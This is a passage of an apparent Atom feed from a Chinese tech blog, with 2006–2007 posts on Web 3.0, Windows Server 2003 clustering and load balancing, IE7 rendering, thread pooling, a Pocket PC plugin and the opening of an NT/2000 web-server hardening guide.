<P>　　实际上我想要说明的的是，对于互联网来说每个10年都会有突飞猛进的发展，现有Web2.0的有少量用户产生内容，再有BSP也好的平台提供商提供内容发 布。但到了Web3.0时代，这项革新则变成所有的内容产生，发布都有用户来完成，而BSP等平台商仅仅是提供一个媒介罢了，才能真正实现 collective intelligence所保护的包括技术因素在内的更多的思想的因素。</P>
<P>&nbsp;</P>
<P>　　就目前而言，要实现collective intelligence尚且有些困难，要改变我们自己的思维模式，从Web2.0时代的”Read-Write Web“到Web3.0时代的”Write-Read Web“也行并不仅仅是一个“写”(Write)与“读”(Read)谁先谁后的简单排列。我期望这一切在十年后(2016年)真正实现。</P>
<P>&nbsp;</P>
<P>源自:http://column.chinabyte.com/206/2704706_1.shtml</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=403" /> 
	  <id>http://www.openx.cn/default.asp?id=403</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[推荐一个计算域名价值的网站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-06T21:03:12+08:00</updated>
	  <published>2007-01-06T21:03:12+08:00</published>
		  <summary type="html"><![CDATA[<P>可以计算域名的价值,呵呵快来看看自己的域名能值多少钱哦哈哈</P>
<P><A href="http://www.dnscoop.com/">http://www.dnscoop.com/</A></P>
<P>&nbsp;</P>
<P>请看Openx.cn的价值,哈哈.</P>
<DIV style="BORDER-BOTTOM: #444444 1px dotted">Site Value Report</DIV>
<DIV style="FLOAT: left"><IMG hspace=8 src="http://www.dnscoop.com/include/images/tools/value.gif" vspace=3></DIV>
<P><SMALL>The estimated value of http://www.openx.cn is: <B>$13,780</B><BR><BR>This value is calculated based on several factors shown above, including: Links, Traffic (Alexa), age of the domain, site category, domain keyword popularity, and overall occurences of the domain name on the web.</SMALL></P>
<P><SMALL></SMALL>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=402" /> 
	  <id>http://www.openx.cn/default.asp?id=402</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Internet Explorer 7 针对网页呈现的改进]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-01-06T20:50:28+08:00</updated>
	  <published>2007-01-06T20:50:28+08:00</published>
		  <summary type="html"><![CDATA[Internet Explorer 7包含了许多有关于层叠样式表(CSS)解析与呈现的改进。这些改进意在提高Internet Explorer解释层叠样式表的一致性,以达到W3C的推荐的标准，同时为开发者提供一个可以依赖的功能集合。 
<P><STRONG>Internet Explorer 7中的层叠样式表兼容性</STRONG></P>
<P><A href="http://go.microsoft.com/?linkid=5994380">http://go.microsoft.com/?linkid=5994380</A></P>
<P><FONT class=content>Internet Explorer 7包含了许多有关于层叠样式表（CSS）解析与呈现的改进。这些改进意在提高Internet Explorer解释层叠样式表的一致性，以达到W3C的推荐的标准，同时为开发者提供一个可以依赖的功能集合。</FONT></P>
<P><FONT class=content><STRONG>Internet Explorer 7中HTTPS安全性的改进</STRONG><BR></FONT></P>
<P><FONT class=content><A href="http://go.microsoft.com/?linkid=5994381">http://go.microsoft.com/?linkid=5994381</A> HTTPS使用加密来保护您的网络传输,以避免网络上的其他人进行窃听或者篡改.HTTPS使用安全套接字层(SSL)或者传输层安全(TLS)协议来保护数据。 </FONT></P>
<P><FONT class=content><STRONG>SSL,TLS以及ActiveX:IE7如何在安全性和兼容性方面找到平衡点</STRONG></FONT></P>
<P><FONT class=content><A href="http://go.microsoft.com/?linkid=5994379">http://go.microsoft.com/?linkid=5994379</A></FONT></P>
<P><FONT class=content>帮助我们保持安全型和兼容性平衡的法则是:不要影响已经存在的站点,除非需要为了保护最终用户而改变IE。当我们要求网络开发人员和服务器管理员作出改变时,他们坦白的告诉我们什么可以改变,什么不可以。今天,我们要通过一些例子来看看这些法则是如何在IE7中体现的。 </FONT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=401" /> 
	  <id>http://www.openx.cn/default.asp?id=401</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Win2003集群简介]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-01-05T11:23:15+08:00</updated>
	  <published>2007-01-05T11:23:15+08:00</published>
		  <summary type="html"><![CDATA[<P>简介 <BR><BR>　　集群服务在企业组织部署关键业务、电子商务与商务流程应用起到了日益重要的作用。 <BR><BR>　　集群是在一组计算机上运行相同的软件并虚拟成一台主机系统为客户端与应用提供服务。 计算机通过缆线物理连接并通过集群软件实现程序上的连接，可以使计算机实现单机无法实现的容错和负载均衡。 <BR><BR>　　Windows Server 2003 家族产品将提供两种类型的集群服务： <BR><BR>　　--集群服务(MSCS) 仅用于Windows Server 2003 企业版和Datacenter版，该服务为像数据库、消息系统、文件与打印服务这些关键业务应用提供了高可用性和可扩展性。在集群中的多个服务器（节点）保持不间断的联系。如果在集群中的某一节点因出错或维护不可用时，另一节点会立刻提供服务，以实现容错。正在访问服务的用户可以继续访问，而不会察觉到服务已经由另一台服务器（节点）提供。 <BR><BR>　　Windows Server 2003的企业版和Datacenter版都可以支持最大达8个节点的集群配置。这一改变增强了部署的灵活性：尤其对于地理分散部署的集群配置而言，并且支持主机的N+I配置(N 个主动节点+ I 个备用节点)。 N+I 模型将为将来利用Windows Server 2003部署大型Microsoft Exchange Server提供非常重要的支持。 <BR><BR>　　--网络负载均衡 (NLB) 在Windows Server 2003家族的所有版本中都可用，该服务可在集群内均衡分布访问的IP流量。网络负载均衡增强了Web服务器、流媒体服务器、终端服务器等Internet服务器程序的可用性和扩展性。作为负载均衡架构并提供了控制信息管理在WMI结构之上的应用，网络负载均衡可与现存Web服务器群结构无缝集成。 <BR><BR>　　优势 <BR></P>
<DIV align=center><IMG alt="" src="http://images.21cn.com/2003-05-16/1044460A.gif" border=1> 
<P></P></DIV><BR><BR>　　服务器集群特性 <BR><BR>
<TABLE class=12b borderColor=#333333 cellSpacing=0 cellPadding=4 width=534 border=1>
<TBODY>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=4>
<DIV align=center>易于安装和配置</DIV></TD>
<TD width=384>集群服务作为Windows Server 2003 操作系统的一个主要部分，不再是一个可选的组件。这使服务器集群节点的配置不需要安装的媒介，并允许利用集群管理工具在远程服务器上创建节点和更改服务器集群配置。设置服务器集群配置不再需要重启。</TD></TR>
<TR>
<TD width=384>从服务器集群中删除一个节点就像将他从集群中退出一样简单。所有属于这个节点的集群配置信息被自动删除，且不需要重启。</TD></TR>
<TR>
<TD width=384>在配置服务器集群节点时，配置流程会校验软件和硬件配置信息以确保在完成集群服务配置之前检测出所有已知的不兼容问题。许多配置选项都给出了默认值，可以依照最佳实践简便快捷地搭建服务器集群。在安装完成后，工作的服务器集群还可以利用服务器集群管理工具进行定制。</TD></TR>
<TR>
<TD width=384>集群的配置架构为第三方软件供应商提供了开放接口。这使得应用程序可以无缝地设置服务器集群资源，并在服务器集群安装时更改配置信息。就像通过集群管理图形界面一样，服务器集群的安装还可脚本化和通过命令行进行安装。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=3>
<DIV align=center>支持更大的集群　</DIV></TD>
<TD width=384>Windows Server 2003Datacenter版所最大支持的节点数目已从Windows 2000的4节点增加到8个节点。</TD></TR>
<TR>
<TD width=384>Windows Server 2003企业版所最大支持的节点数目已从Windows 2000的2节点增加到8个节点。</TD></TR>
<TR>
<TD width=384>通过增加服务器集群的节点数目，管理员在部署应用和提供容错策略时有了更多的选择以匹配商务需求和风险要求。像传统的节点与/或应用失效转移一样，大的服务器集群提供了更高的灵活性以建立多站点、地理分散的集群来提供容错能力。 </TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>集成活动目录服务　</DIV></TD>
<TD width=384>Windows Server 2003企业版与Datacenter版的服务器集群集成了活动目录?服务。这一集成确保了“虚拟”出来的计算机对象在活动目录中注册。这使得应用程序可以使用Kerberos协议认证与委派运行于集群上的服务。这一计算机对象也提供了默认的存放位置以便支持AD的服务发布服务控制点。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>64位服务</DIV></TD>
<TD width=384>服务器集群完全支持运行64位Windows Server 2003的计算机。应用可以受益于64位 Windows Server 2003操作系统增加的内存地址，也能够受益于灾难转移所提供的高可用性。 </TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>增强的可管理性　</DIV></TD>
<TD width=384>当服务器集群使用的存储结构支持动态卷增长，集群磁盘可利用新的内置工具“DiskPart”动态在线扩展。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=3>
<DIV align=center>简便的资源配置</DIV></TD>
<TD width=384>很容易配置集群打印机，配置MSDTC(Microsoft Distributed Transaction Coordinator)服务也一样—只需要配置一次，配置信息就可以复制到全部节点中。</TD></TR>
<TR>
<TD width=384>应用可以通过脚本语言例如Visual Basic? Script 与JScript?实现对集群的支持。这使得为应用编写特定的资源插件以监测与控制服务器集群更为方便。</TD></TR>
<TR>
<TD width=384>脚本还支持资源指定属性；它允许资源脚本集群范围的配置信息，同样，也可以使用和管理其它资源。增强了对微软消息队列(MSMQ)的支持，包括对触发器的支持。它允许基于可靠的消息架构所提供的全部特性构建高可用性的应用。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=2>
<DIV align=center>网络增强</DIV></TD>
<TD width=384>服务器集群可通过重要的网络增强获益。灾难转移增强的逻辑现在支持心跳信号完全丢失；现在在仲裁（quorum）所有权决定之前所有节点公共通讯的网络状态都会被纳入考虑。</TD></TR>
<TR>
<TD width=384>媒介感知探测提供了更好的灾难转移保护。因为媒介感知在默认情况下是禁用的，网络角色被保持以及所有的IP地址相依存的资源保持在线。如果服务器集群足够大，且网络结构支持集群节点间的多播，多播心跳会被自动选择。如果多播因为某种原因失效，心跳通讯会转换为单播。在任意事件中，所有的心跳通讯都是经过签名和安全的。 </TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=4>
<DIV align=center>提高存储性能 </DIV></TD>
<TD width=384>服务器集群充分发挥强大的存储容量优势。共享磁盘现在支持卷挂载点（Volume mount point）并工作在灾难转移模式下，提供灵活的文件系统名字空间。客户端缓存(CSC)，又被称为脱机文件，现支持集群文件共享并允许客户端计算机在集群共享上存储缓存数据。</TD></TR>
<TR>
<TD width=384>改进的分布式文件系统(DFS)现在包含：多个独立根（standalone root）、独立根灾难转移(independent root failover)、支持活跃/活跃配置，并允许在不同机器上的多个文件共享聚集为一个共同的名字空间。</TD></TR>
<TR>
<TD width=384>集群服务针对存储局域网（SAN）作了优化，包含目标设备重启和存储互联需求。</TD></TR>
<TR>
<TD width=384>共享磁盘现在可以定位于同一存储互联（storage interconnect）作为启动、页面文件和临时文件磁盘。这使得集群服务器可以有单一的或单一冗余的存储互连。注：仅当供应商配置并认可这些配置后方能生效。 </TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=3>
<DIV align=center>改进的操作</DIV></TD>
<TD width=384>服务器集群在操作性能上也取得了很大的改善。数据库和配置数据可以备份和恢复，而增强的节点灾难转移可以支持集群超过三个节点以上的灾难转移。组配合支持使应用程序在灾难节点激活前转移到可用的节点，提供了增强的性能和可用性。</TD></TR>
<TR>
<TD width=384>从Windows 2000升级到Windows Server 2003家族时对集群的在线时间影响最小，因为升级时只需将集群中的一个节点脱机。集群服务账号的密码可以动态变更而无需将集群节点脱机。</TD></TR>
<TR>
<TD width=384>资源删除可通过集群管理器或cluster.exe完成，而不需要将资源脱机。集群控制与管理、应用和集群状态信息以及集群状态更改事件可提供对WMI的支持。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=3>
<DIV align=center>易于排错和失效恢复</DIV></TD>
<TD width=384>对服务器集群日志文件的一些改进使得诊断与排错变得更加容易。这些改进包括：集群日志；本地服务器时间戳；资源名字映射和事件日志的GUID(通用唯一标志符) 。</TD></TR>
<TR>
<TD width=384>当chkdsk在集群磁盘中运行，chkdsk的日志将被保存，chkdsk的运行状态也会被写入集群日志。</TD></TR>
<TR>
<TD width=384>资源工具包提供了新的诊断工具(ClusDiag)可以将集群中各节点的集群日志和事件日志对应和对比。针对磁盘失效事件，资源工具包包含了一个新工具 (ClusterRecovery)可以将磁盘资源重新组建并重建集群状态。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=3>
<DIV align=center>新的集群拓扑Metrics的可用性</DIV></TD>
<TD width=384>Windows Server 2003 提供了传统的集群仲裁（quorum）机制，也提供了一种称为“多数节点集(Majority Node Set)”的新的仲裁资源。该仲裁资源允许服务器无需共享磁盘作为仲裁设备建立集群。利用新的仲裁机制可以建立额外的集群拓扑；例如，无共享磁盘服务器集群。多数节点集也使得创建和配置多站点、地理分散的集群更为容易。 </TD></TR>
<TR>
<TD width=384>Windows Server 2003提供了一种方法来测量一个单独的组在群集中的可靠性。 记录了足够事件信息的日志群集有用事件被添加到时间日志中，使得你能够计算群集资源组的有用性。之一特征使得管理员能够评估群集中一个单独组的有用性。</TD></TR>
<TR>
<TD width=384>群集服务将在系统事件日志中记录组移动、在线或离线的成功或失败。另外，群集内部节点时钟偏移事件也被记录到系统事件日志中。通过查看在线和离线时间间隔(考虑交叉节点的时间偏差)对所有的群集节点的事件日志流进行分析，可以计算一个组在线和离线的对比量。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>Kerberos 支持虚拟服务器</DIV></TD>
<TD width=384>当客户端使用群集虚拟名称访问一个群集中的资源时可以使用Kerberos 身份认证方式。当使用这一特征时，就会在活动目录中创建一个虚拟对象。这将以活动目录对象的形式提供给群集通知或活动目录通知应用程序，来发布提供服务给它们的虚拟服务器的相关信息。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>Multi-ca&#115;t Heartbeats Between Nodes</DIV></TD>
<TD width=384>Multi-ca&#115;t heartbeats between nodes in a server cluster can reduce the amount of cluster heartbeat traffic between nodes in a larger cluster. 这将有助于减少网络和计算机中央处理器(CPU) 的使用。这一特征默认已启动。要修改配置请使用命令行工具和cluster.exe。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>WMI 支持服务器群集</DIV></TD>
<TD width=384>服务器群集提供Windows Management Instrumentation (WMI) 支持群集控制和管理函数、应用程序和群集状态信息。另外，使用WMI来查看群集状态改变事件。 应用程序也可以订阅WMI事件来显示信息如应用程序失败和重启以及节点失败。这将简化管理员对群集的监视和管理。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc rowSpan=6>
<DIV align=center>远程脚本宿主支持</DIV></TD>
<TD width=384>群集资源脚本宿主简化开发群集应用程序的过程。通过提供运行时环境捕获所有的复杂事务，它允许简易创建新资源类型。Windows 脚本宿主支持以下资源:</TD></TR>
<TR>
<TD width=384>* 资源健康监视和应用程序或服务的使用</TD></TR>
<TR>
<TD width=384>* 实现一个新资源类型的简单进程</TD></TR>
<TR>
<TD width=384>* 简化产生应用程序群集通知的脚本化应用程序的使用</TD></TR>
<TR>
<TD width=384>* 运行时宿主环境</TD></TR>
<TR>
<TD width=384>* 再利用存在的通用组件模型(COM)自动控制服务器</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>存储区域网络 (SAN) 引导</DIV></TD>
<TD width=384>在新的存储区域网络技术(SAN)中,一个群集中的所有磁盘可能有相同的存储结构，可以使用一个专用的主机总线适配器(HBA)来访问它们。这一特性允许所有的磁盘 (除了启动盘、系统盘和包括页文件的磁盘以外) 都可以用作共享磁盘无论使用何种存储总线技术。这种功能可以嵌入OEMs ，IHVs和其它软件厂商的的大型解决方案中。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>存储区域网络(SAN) 设备仲裁</DIV></TD>
<TD width=384>新的存储区域网络(SAN)技术 提供了一种数据合并和简化管理的方法。它不支持总线重置，将共享一个SAN 的节点分离。这个特征修改群集仲裁机制来避免任何可能的总线重置。这种机制将在最近可选的一次总线重置之前尝试不同的选项。在底层驱动器, 例如SCSIPORT and RAIDPORT, 有执行设备仲裁,这种特征将能够决定基于拓扑和存储类型的重置选项。</TD></TR>
<TR>
<TD width=128 bgColor=#cccccc>
<DIV align=center>群集磁盘上的加密文件系统</DIV></TD>
<TD width=384>Windows Server 2003 在群集(共享的)磁盘上支持加密文件系统 (EFS)。这种技术用来在NTFS卷上存储加密文件。 对授权用户来说加密文件或文件夹和平常的一样使用，但其它用户不能访问。 </TD></TR></TBODY></TABLE><BR><BR>　　网络负载均衡(NLB)特性 <BR><BR>
<TABLE class=12b borderColor=#000000 cellSpacing=0 cellPadding=4 width=578 border=1>
<TBODY>
<TR bgColor=#999999>
<TD width=96>
<DIV align=center><FONT color=#ffffff>特性</FONT></DIV></TD>
<TD width=466>
<DIV align=center><FONT color=#ffffff>描述</FONT></DIV></TD></TR>
<TR>
<TD width=96 bgColor=#cccccc rowSpan=7>网络负载均衡管理器</TD>
<TD width=466>Windows Server 2003中的这一新工具可单点配置与管理NLB集群。NLB 管理器可用于：</TD></TR>
<TR>
<TD width=466>* 创建新的NLB集群并自动传播机群参数与端口规则到集群中全体主机。它也可以传播主机参数到集群中特定的主机上。 </TD></TR>
<TR>
<TD width=466>* 从NLB集群中添加与删除主机。</TD></TR>
<TR>
<TD width=466>* 自动增加服务器集群IP地址到TCP/IP。</TD></TR>
<TR>
<TD width=466>* 通过连接现存主机或从文件中读取主机信息管理现存主机并保存这些信息便于以后使用。</TD></TR>
<TR>
<TD width=466>* 配置NLB以均衡在一个网络负载均衡中的多个Web站点或应用。这包含了将所有集群IP地址添加到TCP/IP，以及控制发送到集群中特定主机上特定应用程序的流量。</TD></TR>
<TR>
<TD width=466>* 诊断不正确配置的集群。</TD></TR>
<TR>
<TD width=96 bgColor=#cccccc rowSpan=4>虚拟集群</TD>
<TD width=466>Windows Server 2003 中的这一新特性用于：</TD></TR>
<TR>
<TD width=466>* 为不同的集群IP地址配置不同的端口规则，而每一IP地址可对应到NLB集群中一个网站或应用程序。 </TD></TR>
<TR>
<TD width=466>* 过滤发送到集群中指定主机上指定的Web站点或应用的数据流量。</TD></TR>
<TR>
<TD width=466>* 选择发送到集群中指定Web站点或应用的数据由集群中哪一主机处理。</TD></TR>
<TR>
<TD width=96 bgColor=#cccccc rowSpan=3>多网卡(NIC)支持</TD>
<TD width=466>Windows Server 2003将负载均衡绑定在多块NIC卡上，使用户可以： </TD></TR>
<TR>
<TD width=466>* 在同一主机上运行多个网络负载均衡服务并分别置于完全独立的网络中。 </TD></TR>
<TR>
<TD width=466>* 在多台前端防火墙或代理服务器需要均衡负载的场景中利用NLB来为防火墙或代理服务器提供负载均衡。</TD></TR>
<TR>
<TD width=96 bgColor=#cccccc>双向配合</TD>
<TD width=466>双向配合（Bi-Directional Affinity）常用于ISA代理与防火墙的集群负载均衡。NLB通常用于ISA Web发布和服务器发布环境中。Web发布不需要双向配合，而服务器发布需要。双向配合为同一主机创建多个NLB实例协力工作以确保发布服务器的回应信息 被路由到集群中适当的ISA服务器上。</TD></TR>
<TR>
<TD width=96 bgColor=#cccccc rowSpan=2>IGMP协议支持</TD>
<TD width=466>这一新特性限制了交换机-扩散。(交换机-扩散，即Switch-flooding 起因于NLB算法使得NLB每一主机都能察看集群每个接受包的地址。) </TD></TR>
<TR>
<TD width=466>IGMP支持限制扩散仅产生到交换机连接NLB主机的端口以保护网络资源。注: IGMP支持仅在NLB配置为多播模式下才能启用。</TD></TR></TBODY></TABLE><BR><BR>　　总结 <BR><BR>　　Windows Server 2003中的集群服务通过增强现有特性与提供重要的更新特性得到了大幅的改进。 <BR><BR>　　设置和安装更为简单和健壮。通过预先配置、远程管理和默认选择，一套简单的服务器集群可以减少重启次数，更快上线运行。 <BR>将集群服务与活动目录相集成带来了许多优势，包括：“虚拟”计算机对象、Kerberos 认证与安全以及紧密地集成其他服务发布信息到活动目录等。 <BR><BR>　　增强的网络特性提供了更好的容错性能和更多系统在线时间。支持和排错方面可以通过一个实时监测的工具帮助管理员查明错误和隐患。 <BR><BR>　　更多信息 <BR><BR>　　当Windows Server 2003的最终版本可用时，微软将在网上发布一个更详尽的Windows服务器版2003技术综述。关于这些技术文章的链接可直接浏览： <BR>　　http://www.microsoft.com/china/windowsserver <BR>　　http://www.microsoft.com/china/technet <BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=400" /> 
	  <id>http://www.openx.cn/default.asp?id=400</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[PPC动态桌面]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-01-03T16:45:15+08:00</updated>
	  <published>2007-01-03T16:45:15+08:00</published>
		  <summary type="html"><![CDATA[<P>2006年过去咯。崭新的2007年也扑面而来，我对节日比较传统，比较喜欢过传统节日，所以每年圣诞，元旦都过的很平常。</P>
<P>昨天晚上下载了个PPC动态桌面的Today插件，嘿嘿用了感觉不错特此推荐。</P>
<P>安装程序不大才140k，下载（<A href="http://www.openx.cn/down.asp?downID=20&action=Url_1">http://www.openx.cn/down.asp?downID=20&action=Url_1</A>）</P>
<P>把PPC与电脑同步好，就可以安装了。</P>
<P>安装好后可以在 Today-&gt;选项 中找到 pfaceHTML 这一项目，点进他的属性选择一张GIF图片就OK了。</P>
<P>Look~~~</P>
<P>[img]http://www.openx.cn/include/Editor/UploadFile/200713164329128.gif[/img]</P>
<P>还不错吧。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=399" /> 
	  <id>http://www.openx.cn/default.asp?id=399</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[看了后会无语.魂斗罗：超级游戏高手不杀任何小怪顺利通八关]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-12-27T09:24:54+08:00</updated>
	  <published>2006-12-27T09:24:54+08:00</published>
		  <summary type="html"><![CDATA[<P>[swf]http://www.56.com/flashApp/56.swf?img_host=v7.56.com&host=fcs5.56.com&pURL=6&sURL=4&user=heong9090&URLid=1165401770_922&totaltimes=1212498&effectID=0&flvid=4256041&56.swf[/swf]</P>
<P>&nbsp;</P>
<P>是不是很无语阿!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=398" /> 
	  <id>http://www.openx.cn/default.asp?id=398</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[线程池（Thread Pooling）,译自MSDN]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-12-26T13:26:02+08:00</updated>
	  <published>2006-12-26T13:26:02+08:00</published>
		  <summary type="html"><![CDATA[有许多应用线程的程序在等候事件的休眠状态中消耗了大量时间，Other threads may enter a sleeping state only to be awakened periodically to poll for a change or update status information. Thread pooling enables you to use threads more efficiently by providing your application with a pool of worker threads that are managed by the system. 至少一个线程监控着线程池中排列的所有wait操作状态。当一个等候操作执行完毕，线程池中一个worker线程就会执行相应的callback函数。
<P><BR>　　你也可以把一些不需要wait操作的工作项添加到线程池中。要请求线程池中一个线程可以处理一个工作项的话，可以调用QueueUserWorkItem function. 该函数需要一个线程被选中时需要执行的函数作为参数。排队候，就没有办法撤销一个工作了。<BR>　　Timer-queue timers and registered wait operations 同样使用线程池. 他们的回调函数被排列到线程池中，你也可以通过 BindIoCompletionCallback 函数post异步I/O操作。异步I/O完成时，就会被线程池中一个线程执行callback函数。<BR>　　线程池是在第一次调用QueueUserWorkItem or BindIoCompletionCallback时创建的，或者一个timer-queue timer or registered wait operation queues a callback function.默认情况下，线程池中可创建的线程数为500，每个线程应用默认栈大小并按默认优先级执行。<BR>　　线程池中有两种类型的worker线程： I/O and non-I/O，I/O worker线程wait时有一个alertable wait状态，排队到I/O worker threads中的工作项可看为异步过程调用 (APC). <BR>　　A non-I/O worker thread waits on I/O completion ports，使用非I/O worker threads比使用I/O worker threads更有效率些。一次，你应该尽可能的使用非I/O worker threads。 如果仍有异步I/O请求未完成， I/O及non-I/O worker threads都不会exit。两种类型的线程都可被用来发起asynchronous I/O completion requests. 然而，如果异步I/O请求完成需要花费很长时间，就应当避免放置到非I/O worker threads中。<BR>　　要使用线程池，调用的工作项及所有函数必须保证是线程池安全的.安全的函数不应该假定其执行线程是dedicated or persistent的。通常情况下应当避免使用 thread local storage ，并避免把一个需要持久稳定线程的异步调用排队，如RegNotifyChangeKeyValue 函数。然而这些函数可以利用QueueUserWorkItem 的WT_EXECUTEINPERSISTENTTHREAD选项排队为一个持久稳定的worker thread。</P>
<P><BR>注意：线程池不适合于single-threaded apartment (STA) 模式。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=397" /> 
	  <id>http://www.openx.cn/default.asp?id=397</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows NT/2000服务器优化]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-12-25T09:20:36+08:00</updated>
	  <published>2006-12-25T09:20:36+08:00</published>
		  <summary type="html"><![CDATA[1.初级篇:NT/2000系统本身的定制安装与相关设置
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　用NT(2000)建立的WEB站点在所有的网站中占了很大一部分比例，主要因为其易用性与易管理性，使该公司不必再投入大量的金钱在服务器的管理上，这一点优于unix系统，不必请很专业的管理员，不必支付一份可以节省的高薪，呵呵，当然unix的管理员也不会失业，因为其开放源码和windows系统无与伦比的速度，使得现在几乎所有的大型服务器全部采用unix系统。但对于中小型企业来说windows已经足够，但NT的安全问题也一直比较突出，使得一些每个基于NT的网站都有一种如履薄冰的感觉，在此我给出一份安全解决方案，算是为中国的网络安全事业做出一份贡献吧 (说明:本方案主要是针对建立Web站点的NT、2000服务器安全，对于局域网内的服务器并不合适。)</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　一、 定制自己的NT/2000 SERVER</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　1. 版本的选择:</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　WIN2000有各种语言的版本，对于我们来说，可以选择英文版或简体中文版，我强烈建议:在语言不成为障碍的情况下，请一定使用英文版。要知道，微软的产品是以Bug &Patch而著称的，中文版的Bug远远多于英文版，而补丁一般还会迟至少半个月(也就是说一般微软公布了漏洞后你的机子还会有半个月处于无保护状况)</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　2. 组件的定制:</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　win2000在默认情况下会安装一些常用的组件，但是正是这个默认安装是极度危险的你应该确切的知道你需要哪些服务，而且仅仅安装你确实需要的服务，根据安全原则，最少的服务+最小的权限=最大的安全。典型的WEB服务器需要的最小组件选择是:只安装IIS的Com Files，IIS Snap-In，WWW Server组件。如果你确实需要安装其他组件，请慎重，特别是:Indexing Service, FrontPage 2000 Server Extensions, Internet Service Manager (HTML)这几个危险服务。</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　二、 正确安装NT/2000 SERVER</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　不论是NT还是2000，硬盘分区均为NTFS分区;</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　说明:</SPAN></DIV>
<DIV style="TEXT-JUSTIFY: inter-ideograph; LINE-HEIGHT: 150%"><SPAN style="FONT-SIZE: 10.5pt; LINE-HEIGHT: 150%">　　(1) NTFS比FAT分区多了安全控制功能，可以对不同的文件夹设置不同的访问权限，安全性增强。</SPAN></DIV>
